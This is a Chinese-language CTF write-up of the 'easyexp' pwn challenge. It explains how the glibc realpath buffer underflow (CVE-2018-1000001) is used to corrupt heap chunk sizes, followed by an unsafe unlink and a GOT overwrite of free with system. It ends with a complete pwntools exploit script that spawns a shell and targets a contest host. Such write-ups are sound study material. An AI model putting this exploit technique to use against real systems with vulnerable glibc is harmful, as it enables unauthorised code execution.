这道题目不同以往的CTF题目,出得非常新颖,用到了一个glibc的漏洞,CVE–2018-1000001,题目质量非常好(以前看到了这个CVE也想用来出题…..
程序逻辑分析
main函数
init_proc
初始化操作,setbuf
然后clone出了一个子进程
子进程运行以下函数
等待geteuid()返回的结果为0
然后mount tmpfs到/tmp,再chdir过去
回到init_proc函数
首先是将子进程中 /proc/child_pid/cwd这个字符串strdup,保存到bss段中
然后下面就是一系列的操作,看了下CVE–2018-1000001的分析报告,貌似是关于linux namespace的东西,我也不是很懂,这里就不多说了
首先chdir到子进程的 /proc/child_pid/cwd目录那里
然后要求输入home的名字,假如存在 . 或者 / 就会用home
在输入的名字下面还会创建home文件夹,然后在里面创建一个flag文件,往里面写入假flag
main_process
在main函数我们可以知道程序有四个功能
- ls
- mkdir
- mkfile
- cat
ls
这个就真的是ls的功能了,输入没有任何限制,因此可以到处看,绕过tmpfs的沙盒,但是只能看,没有什么用
mkdir
这里判断了下路径是否为空
这里第一部分是循环创建文件夹
例如
mkdir /home/abc/bcd
这里会先创建 /home 然后创建 /home/abc 最后创建 /home/abc/bcd
循环结束后,会调用canonicalize_file_name这个函数去判断对应的路径是否存在
如果不存在的话就直接退出
mkfile
首先判断了路径里时候存在 .. 和 首个字符是否为/
这样就绕不出/tmp了
然后程序在bss段存了三个file结构体,在地址0x603180
结构体大概如下
struct file { char* content; int size; char[0x54] name; }
这里的循环是判断mkfile的文件是否存在于三个file结构体中,如果存在的话,直接修改内存中的file
这里是判断current_ptr指向的file结构体是否有内容存在,假如存在的话,将内存的内容写入文件中
再free掉该file结构体的content
current_ptr在几个地方都可以被改变,如上面的修改file内容
这里的话,首先是将要建立的文件的名字复制到file结构体中
然后打开文件,要求输入内容,长度在1-0x1000中,然后利用strdup复制到堆内存中
再把指针赋值到file结构体中
还有用strlen得到长度,也赋值到file结构体中
最后关闭文件,改变current_ptr
cat
首先限制跟mkfile一样,这里不多说
然后一个循环,判断要cat的file是否存在于三个file结构体中,是的话就直接输出
如果不存在的话,打开对应的file,然后从里面读取0x100个字节,打印出来,关闭文件
漏洞分析
打的时候找了半天,一个漏洞都没找出来……..
虽然有strcpy,但是基本不可能溢出
然后主办方提示了要加载他们给的libc
然后我就看了下他给的libc,发现是 libc-2.23_9的 ,而我虚拟机的是 libc-2.23_10的
他给的libc跟网上下载的libc-2.23_9也是一模一样的
于是去找下change log,跟这个题目比较有关的这个update
- SECURITY UPDATE: Buffer underflow in realpath()
- debian/patches/any/cvs-make-getcwd-fail-if-path-is-no-absolute.diff:
- Make getcwd(3) fail if it cannot obtain an absolute path
- CVE–2018-1000001
顺着找到了这个CVE的分析
所以是realpath造成的underflow
而canonicalize_file_name 这个函数其实只是简单包装了一下 realpath
我们可以简单测试一下
用
mkdir ../../../abc
getcwd得到的结果是
我们去看realpath的源码
一开始
start=end=name="../../../abc" dest="(unreachable)/tmp"
所以一开始就进了红色框的那个else if
根据CVE分析
这里以为dest都是以/开头,而某一次更新之后,realpath的那个syscall对于不可到达的路径会返回(unrechable)开头的字符串
因此这里while循环会令dest一直自减直到碰到/ ,这就会造成underflow
dest会指向前一个chunk或者更前面的chunk中存在/这个字符的位置
然后程序会再循环几次,直到将 ../和./这些全部解析和清除
接下来到了一个esle块
里面有一个
会将我们输入的路径复制到dest指向的位置
例如我们输入
mkdir ../../../../abc
这里memcpy的是
memcpy(dest, "abc",3);
复制完毕之后
这里会拿到文件的信息
假如说文件不存在的话,会返回-1,跳到error
而error的话,这个realpath 函数会直接返回 NULL
但是程序那里如果检测到canonicalize_file_name返回的是NULL
就直接exit了
因此我们要绕过 __lxstat64 这个检查
我们可以下个断点看下它检查的是什么
判断的是 (unreachable)/tmp是否存在
我们可以试着用mkdir这个功能看一下能否创建
试一下其他名字
发现也不行
其实在审计程序漏洞的时候已经注意到这个问题了,但是好像也利用不了,因此也没怎么管
那我们要怎么创建一个(unreachable)文件夹呢?
一开始要求输入名字就是关键,我们可以输入(unreachable),这个它就会帮我们创建一个(unreachable)文件夹
我们可以简单测试一下是否绕过了检查
可以看到是成功绕过了
那么怎么利用呢?
我们可以构造出类似下面的内存布局
+----------+-----------+ | | | | | | +----------------------+ | aaa/ | size1 | | | | +----------------------+ | | | | | | +----------------------+ | | size2 | | | | +----------------------+ | | | | | | +----------------------+ | | size3 | | | | +----------+-----------+ | (unreachable)/tmp | | | +----------------------+
利用realpath那个memcpy可以改写size1,这样就能把size改大,直接控制size2所在的chunk
之后就变成常规的堆题了,利用起来也非常简单,unsafe unlink,可以拿到任意读和任意写
将free的got表中的值改为 system
free(“/bin/sh”)就变成了 system(“/bin/sh”)
这样就能拿到shell
下面是我的payload
from pwn import * debug=1 context.log_level='debug' e=ELF('./libc-2.23_9.so') if debug: #p=process('./easyexp') p=process('./easyexp',env={'LD_PRELOAD':'./libc-2.23_9.so'}) gdb.attach(p) else: p=remote('150.109.46.159', 20004) def ru(x): return p.recvuntil(x) def se(x): p.send(x) def sl(x): p.sendline(x) def mkfile(name,content): sl('mkfile '+name) ru('write something:') sl(content) ru('$') def cat(name): sl('cat '+name) return ru('$') if not debug: ru('Input your token:') sl('uvm73jg2AFMECo71DIZRZh39MRqFOI2w') ru("input your home's name: ") se('(unreachable)n') ru('$') mkfile('(unreachable)/tmp','a'*0x16+'/') mkfile('2','a'*0x27) mkfile('3','a'*0x37) mkfile('3',p64(0x21)*4) sl('mkdir ../../../../ax41') cat('(unreachable)/tmp') mkfile('4','a'*0x37) mkfile('4',p64(0)+p64(0x21)+p64(0x6031e0-0x18+1)+p64(0x6031e0-0x10)+p64(0x20)+p64(0x41)) mkfile('5','1'*0x27) cat('4') mkfile('6','a'*0x37) mkfile('6',p64(0x21)*6) mkfile('7','a'*0x37) mkfile('7',p64(0x21)*6) cat('6') mkfile('77','a'*0x27) mkfile('77',p64(0x21)*4) mkfile('4',p64(0)+p64(0x21)+p64(0x6031e0-0x18)+p64(0x6031e0-0x10)+p64(0x20)+p64(0x90)) mkfile('8','/bin/sh') mkfile('4','a'*0x18+p64(0x603180)+p32(0x200)[:2]) mkfile('4',p64(0x603018)+p32(0x200)[:2]) data=cat('77') base=u64(data[1:7]+'x00x00')-e.symbols['free'] system = base+e.symbols['system'] mkfile('77',p64(system)[:6]) cat('4') sl('mkfile 99') print(hex(base)) p.interactive()